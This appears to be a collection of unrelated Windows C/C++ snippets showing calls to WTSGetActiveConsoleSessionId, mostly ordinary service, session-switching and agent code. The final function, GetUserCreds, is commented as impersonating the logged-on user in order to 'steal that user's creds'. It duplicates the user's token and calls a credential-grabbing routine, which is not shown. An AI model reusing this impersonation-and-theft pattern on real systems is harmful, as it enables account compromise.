BOOL ExecMyself( LPCTSTR lpCommandLine ) { DWORD dwSession, r; HANDLE hToken; LPVOID lpEnv; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; TCHAR szApplicationName[ 1024 ]; TCHAR szCommandLine[ 1024 ]; r = GetModuleFileName( NULL, szApplicationName, _countof( szApplicationName ) ); if( r == 0 || r >= _countof( szApplicationName ) ){ DebugMsg( _T("GetModuleFileName:%d"), GetLastError() ); return FALSE; } if( StringCchPrintf( szCommandLine, _countof( szCommandLine ), _T("\"%s\" %s"), szApplicationName, lpCommandLine ) != S_OK ) return FALSE; dwSession = WTSGetActiveConsoleSessionId(); if( dwSession == 0xFFFFFFFF ){ DebugMsg( _T("WTSGetActiveConsoleSessionId:%d"), GetLastError() ); return FALSE; } if( !WTSQueryUserToken( dwSession, &hToken ) ){ DebugMsg( _T("WTSQueryUserToken:%d"), GetLastError() ); return FALSE; } if( !CreateEnvironmentBlock( &lpEnv, hToken, FALSE ) ){ DebugMsg( _T("CreateEnvironmentBlock:%d"), GetLastError() ); return FALSE; } ZeroMemory( &startupInfo, sizeof(STARTUPINFO) ); startupInfo.cb = sizeof(STARTUPINFO); startupInfo.lpDesktop = _T( "winsta0\\default" ); if( !CreateProcessAsUser( hToken, szApplicationName, szCommandLine, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, lpEnv, NULL, &startupInfo, &processInformation) ) { DebugMsg( _T("CreateProcessAsUser:%d"), GetLastError() ); return FALSE; } CloseHandle(processInformation.hThread); CloseHandle(processInformation.hProcess); return TRUE; }
int switchUser(TCHAR *username, TCHAR *password) { int sessionId = findSession(username); if (password == NULL) password = L""; if (sessionId == -1) { std::wstring msg; msg.append(L"Session for ") .append(username) .append(L" not found"); wprintf(msg.c_str()); showBalloonTip(msg.c_str()); return 2; } if(!WTSConnectSession(sessionId, WTSGetActiveConsoleSessionId(), password, true)) { wprintf(L"SessionId: %d\n", sessionId); printError(L"WTSConnectSession error: %s\n"); return 2; } return 0; }
HANDLE open_app_map(const wchar_t *sid, const wchar_t *name) { wchar_t path[MAX_PATH]; DWORD session_id = WTSGetActiveConsoleSessionId(); _snwprintf(path, MAX_PATH, path_format, session_id, sid, name); return nt_open_map(path); }
HANDLE GetLoggedOnUserToken( OUT PWCHAR userName, IN DWORD cchUserName // at least UNLEN WCHARs ) { DWORD consoleSessionId; HANDLE userToken, duplicateToken; DWORD nameSize = UNLEN; consoleSessionId = WTSGetActiveConsoleSessionId(); if (0xFFFFFFFF == consoleSessionId) { LogWarning("no active console session"); return NULL; } if (!WTSQueryUserToken(consoleSessionId, &userToken)) { LogDebug("no user is logged on"); return NULL; } // create a primary token (needed for logon) if (!DuplicateTokenEx( userToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &duplicateToken)) { perror("DuplicateTokenEx"); CloseHandle(userToken); return NULL; } CloseHandle(userToken); if (!ImpersonateLoggedOnUser(duplicateToken)) { perror("ImpersonateLoggedOnUser"); CloseHandle(duplicateToken); return NULL; } if (!GetUserName(userName, &cchUserName)) { perror("GetUserName"); userName[0] = 0; } RevertToSelf(); return duplicateToken; }
// this still gets the physical session (the one the keyboard and // mouse is connected to), sometimes this returns -1 but not sure why DWORD CMSWindowsRelauncher::getSessionId() { return WTSGetActiveConsoleSessionId(); }
DWORD WINAPI ServiceWorkerThread (LPVOID lpParam) { MEMORYSTATUSEX memory; // The worker loop of a service while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { memory.dwLength = sizeof (memory); GlobalMemoryStatusEx (&memory); char buffer[1024]; // sprintf (buffer, "There is %*ld percent of memory in use.\n", WIDTH, memory.dwMemoryLoad); // sprintf (buffer, "There are %*I64d total KB of physical memory.\n", WIDTH, memory.ullTotalPhys/DIV); sprintf (buffer, "There are %*I64d free MB of physical memory.\n", WIDTH, memory.ullAvailPhys/DIV); // sprintf (buffer, "There are %*I64d total KB of paging file.\n", WIDTH, memory.ullTotalPageFile/DIV); // sprintf (buffer, "There are %*I64d free KB of paging file.\n", WIDTH, memory.ullAvailPageFile/DIV); // sprintf (buffer, "There are %*I64d total KB of virtual memory.\n", WIDTH, memory.ullTotalVirtual/DIV); // sprintf (buffer, "There are %*I64d free KB of virtual memory.\n", WIDTH, memory.ullAvailVirtual/DIV); int result = WriteToLogFile(buffer); if(memory.ullAvailPhys/DIV < 6000) { typedef BOOL (*TypeSendMessage) ( HANDLE,DWORD,LPWSTR,DWORD, LPWSTR, DWORD, DWORD,DWORD, DWORD*, BOOL); TypeSendMessage SendMessage; HMODULE hModule = LoadLibrary(L"Wtsapi32.dll"); if(hModule) { ////////////////// WTSSendMessage //////////////// SendMessage = (TypeSendMessage) GetProcAddress(hModule, "WTSSendMessageW"); if(!SendMessage) return FALSE; DWORD res; WCHAR title[256]; wcscpy(title, L"Low memory alert"); DWORD titleLength = (wcslen(title) + 1) * sizeof(wchar_t); WCHAR msg[1024]; wcscpy(msg, L"Available physical memory is less"); DWORD msgLength = (wcslen(msg) + 1) * sizeof(wchar_t); SendMessage( WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), title, titleLength, msg, msgLength, MB_ICONERROR| MB_TOPMOST|MB_SETFOREGROUND, FALSE, &res, 0); } } if (result) { ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = -1; SetServiceStatus(hStatus, &ServiceStatus); return ERROR_SUCCESS; } Sleep(SLEEP_TIME); } return ERROR_SUCCESS; }
void MSWindowsSession::updateActiveSession() { m_activeSessionId = WTSGetActiveConsoleSessionId(); }
BOOL MSWindowsSession::hasChanged() { return (m_activeSessionId != WTSGetActiveConsoleSessionId()); }
// Send the UI request and wait for the UI response. DWORD SendUIRequestToReceiveKey ( PADAPTER_DETAILS pAdapterDetails, DWORD* pdwKeyLen, BYTE** ppbKeyData ) { DWORD dwResult = ERROR_SUCCESS; DOT11EXT_IHV_UI_REQUEST uiRequest = {0}; PIHV_UI_REQUEST pIHVRequest = NULL; CHAR szTitle[] = UI_TITLE_STRING; CHAR szHelp[] = UI_HELP_STRING; BOOL bLocked = FALSE; HANDLE hUIResponse = NULL; // CLSID of COM class that implements the UI page. In a real // implementation this GUID could be dynamically obtained. CLSID uiPageClsid = { /* 4A01F9F9-6012-4343-A8C4-10B5DF32672A */ 0x4A01F9F9, 0x6012, 0x4343, {0xA8, 0xC4, 0x10, 0xB5, 0xDF, 0x32, 0x67, 0x2A} }; ASSERT( pAdapterDetails ); // prepare the IHV request. uiRequest.dwByteCount = sizeof(IHV_UI_REQUEST); uiRequest.pvUIRequest = (BYTE*) PrivateMemoryAlloc( sizeof(IHV_UI_REQUEST) ); if ( !(uiRequest.pvUIRequest) ) { dwResult = ERROR_OUTOFMEMORY; BAIL( ); } pIHVRequest = (IHV_UI_REQUEST*)uiRequest.pvUIRequest; memcpy( pIHVRequest->szTitle , szTitle , sizeof(szTitle) ); memcpy( pIHVRequest->szHelp , szHelp , sizeof(szHelp) ); uiRequest.dwSessionId = WTSGetActiveConsoleSessionId( ); uiRequest.UIPageClsid = uiPageClsid; // acquire the lock to register the request. EnterCriticalSection( &g_csSynch ); bLocked = TRUE; // create new request guid. dwResult = UuidCreate( &(uiRequest.guidUIRequest) ); BAIL_ON_WIN32_ERROR(dwResult); // free the existing response. PrivateMemoryFree( pAdapterDetails->pbResponse ); pAdapterDetails->pbResponse = NULL; // register the guid. pAdapterDetails->currentGuidUIRequest = uiRequest.guidUIRequest; // Initializing the event this thread // would be waiting on later. ResetEvent( pAdapterDetails->hUIResponse ); hUIResponse = pAdapterDetails->hUIResponse; // leave the lock since this thread needs // to wait for the response. LeaveCriticalSection( &g_csSynch ); bLocked = FALSE; // send the request. dwResult = (g_pDot11ExtApi->Dot11ExtSendUIRequest) ( pAdapterDetails->hDot11SvcHandle, &uiRequest ); BAIL_ON_WIN32_ERROR(dwResult); TRACE_MESSAGE( "Sent UI request to receive key." ); // Waiting for UI response. // This would be triggered // off if no UI response // is received. dwResult = WaitForSingleObject ( hUIResponse, 1000 * 60 * 5 // 5 minutes ); // acquire the lock - required for both success and failure. EnterCriticalSection( &g_csSynch ); bLocked = TRUE; ZeroMemory( &(pAdapterDetails->currentGuidUIRequest), sizeof( GUID ) ); if ( WAIT_OBJECT_0 == dwResult ) { dwResult = ERROR_SUCCESS; } BAIL_ON_WIN32_ERROR(dwResult); if ( NULL == pAdapterDetails->pbResponse ) { dwResult = ERROR_INVALID_STATE; BAIL_ON_WIN32_ERROR(dwResult); } // At this point in the code a response // has been received, and the thread // has not been aborted. (*ppbKeyData) = pAdapterDetails->pbResponse; pAdapterDetails->pbResponse = NULL; (*pdwKeyLen) = pAdapterDetails->dwResponseLen; // Convert the Unicode string to ASCII. dwResult = ConvertStringToKey ( *ppbKeyData, pdwKeyLen ); BAIL_ON_WIN32_ERROR(dwResult); pAdapterDetails->bModifyCurrentProfile = TRUE; error: if ( bLocked ) { LeaveCriticalSection( &g_csSynch ); } PrivateMemoryFree( uiRequest.pvUIRequest ); return dwResult; }
DWORD GetSessionIdOfUser(PCWSTR pszUserName, PCWSTR pszDomain) { DWORD dwSessionId = 0xFFFFFFFF; if (pszUserName == NULL) { // If the user name is not provided, try to get the session attached // to the physical console. The physical console is the monitor, // keyboard, and mouse. dwSessionId = WTSGetActiveConsoleSessionId(); } else { // If the user name is provided, get the session of the provided user. // The same user could have more than one session, this sample just // retrieves the first one found. You can add more sophisticated // checks by requesting different types of information from // WTSQuerySessionInformation. PWTS_SESSION_INFO *pSessionsBuffer = NULL; DWORD dwSessionCount = 0; // Enumerate the sessions on the current server. if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, pSessionsBuffer, &dwSessionCount)) { for (DWORD i = 0; (dwSessionId == -1) && (i < dwSessionCount); i++) { DWORD sid = pSessionsBuffer[i]->SessionId; // Get the user name from the session ID. PWSTR pszSessionUserName = NULL; DWORD dwSize; if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, sid, WTSUserName, &pszSessionUserName, &dwSize)) { // Compare with the provided user name (case insensitive). if (_wcsicmp(pszUserName, pszSessionUserName) == 0) { // Get the domain from the session ID. PWSTR pszSessionDomain = NULL; if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, sid, WTSDomainName, &pszSessionDomain, &dwSize)) { // Compare with the provided domain (case insensitive). if (_wcsicmp(pszDomain, pszSessionDomain) == 0) { // The session of the provided user is found. dwSessionId = sid; } WTSFreeMemory(pszSessionDomain); } } WTSFreeMemory(pszSessionUserName); } } WTSFreeMemory(pSessionsBuffer); pSessionsBuffer = NULL; dwSessionCount = 0; // Cannot find the session of the provided user. if (dwSessionId == 0xFFFFFFFF) { SetLastError(ERROR_INVALID_PARAMETER); } } } return dwSessionId; }
bool VDService::execute() { INT* con_state = NULL; bool con_state_active = false; DWORD bytes; _session_id = WTSGetActiveConsoleSessionId(); if (_session_id == 0xFFFFFFFF) { vd_printf("WTSGetActiveConsoleSessionId() failed"); _running = false; } vd_printf("Active console session id: %lu", _session_id); if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, _session_id, WTSConnectState, (LPTSTR *)&con_state, &bytes)) { vd_printf("Connect state: %d", *con_state); con_state_active = (*con_state == WTSActive); WTSFreeMemory(con_state); } if (_running && !launch_agent()) { // In case of agent launch failure: if connection state is not active(*), wait for agent // launch on the next session connection. Otherwise, the service is stopped. // (*) The failure was due to system startup timings and logon settings, causing the first // agent instance lifetime (before session connect) to be too short to connect the service. _running = !con_state_active && (GetLastError() != ERROR_FILE_NOT_FOUND); if (_running) { vd_printf("Failed launching vdagent instance, waiting for session connection"); } while (_running) { if (WaitForSingleObject(_control_event, INFINITE) == WAIT_OBJECT_0) { handle_control_event(); } } } if (!_running) { return false; } _events_count = VD_STATIC_EVENTS_COUNT + 1 /*for agent*/; _events = new HANDLE[_events_count]; ZeroMemory(_events, _events_count); _events[VD_EVENT_CONTROL] = _control_event; while (_running) { unsigned actual_events = fill_agent_event(); DWORD wait_ret = WaitForMultipleObjects(actual_events, _events, FALSE, INFINITE); switch (wait_ret) { case WAIT_OBJECT_0 + VD_EVENT_CONTROL: handle_control_event(); break; case WAIT_OBJECT_0 + VD_STATIC_EVENTS_COUNT: vd_printf("Agent killed"); if (_system_version == SYS_VER_WIN_XP_CLASS) { restart_agent(false); } else if (_system_version == SYS_VER_WIN_7_CLASS) { kill_agent(); // Assume agent was killed due to console disconnect, and wait for agent // normal restart due to console connect. If the agent is not alive yet, // it was killed manually (or crashed), so let's restart it. if (WaitForSingleObject(_control_event, VD_AGENT_RESTART_INTERVAL) == WAIT_OBJECT_0) { handle_control_event(); } if (_running && !_agent_alive) { restart_agent(false); } } break; case WAIT_TIMEOUT: break; default: vd_printf("WaitForMultipleObjects failed %lu", GetLastError()); _running = false; } } kill_agent(); return true; }
// // Impersonate the currently logged on user, // and then steal that user's creds // VOID GetUserCreds(VOID){ CHAR UserName[128] = {0}; LPSTR LoggedOnUserName = NULL; DWORD dwUserNameLen = 128; HANDLE hToken= NULL; DBGPrint("Called\n"); //Impersonate user DWORD dwSessionID = WTSGetActiveConsoleSessionId(); if ( dwSessionID == 0xFFFFFFFF ) { DBGPrint("WTSGetActiveConsoleSessionId failed. 0x%x\n", GetLastError()); return; } //Current user dwUserNameLen = 128; if(GetUserName(UserName,&dwUserNameLen) ){ DBGPrint("Current user is: <%s> \n",UserName); } //Get the name of the logged in user if(!WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE,dwSessionID,WTSUserName,&LoggedOnUserName,&dwUserNameLen )) { DBGPrint("WTSQuerySessionInformation failed. 0x%x\n",GetLastError()); return; } DBGPrint("LoggedOnUserName. %s\n",LoggedOnUserName); //Get the token of the logged in user if ( !WTSQueryUserToken( dwSessionID, &hToken ) ) { DBGPrint( "WTSQueryUserToken failed. 0x%x\n", GetLastError( ) ); return; } // duplicate the token HANDLE hDuplicated = NULL; if ( !DuplicateToken( hToken, SecurityImpersonation, &hDuplicated ) ) { DBGPrint( "DuplicateToken failed. 0x%x\n", GetLastError( ) ); CloseHandle( hToken ); return; } if(ImpersonateLoggedOnUser(hDuplicated) != TRUE){ DBGPrint("ImpersonateLoggedOnUser Failed\n"); CloseHandle( hToken); CloseHandle(hDuplicated); return; } //steal creds GetCredsForCurrentUser(NULL); //Restore user RevertToSelf(); //Free duplicated token if( hDuplicated){ CloseHandle( hDuplicated ); } //Free original token if(hToken){ CloseHandle( hToken ); } //Free logged in user name if(LoggedOnUserName){ WTSFreeMemory(LoggedOnUserName); } DBGPrint("Returning\n"); }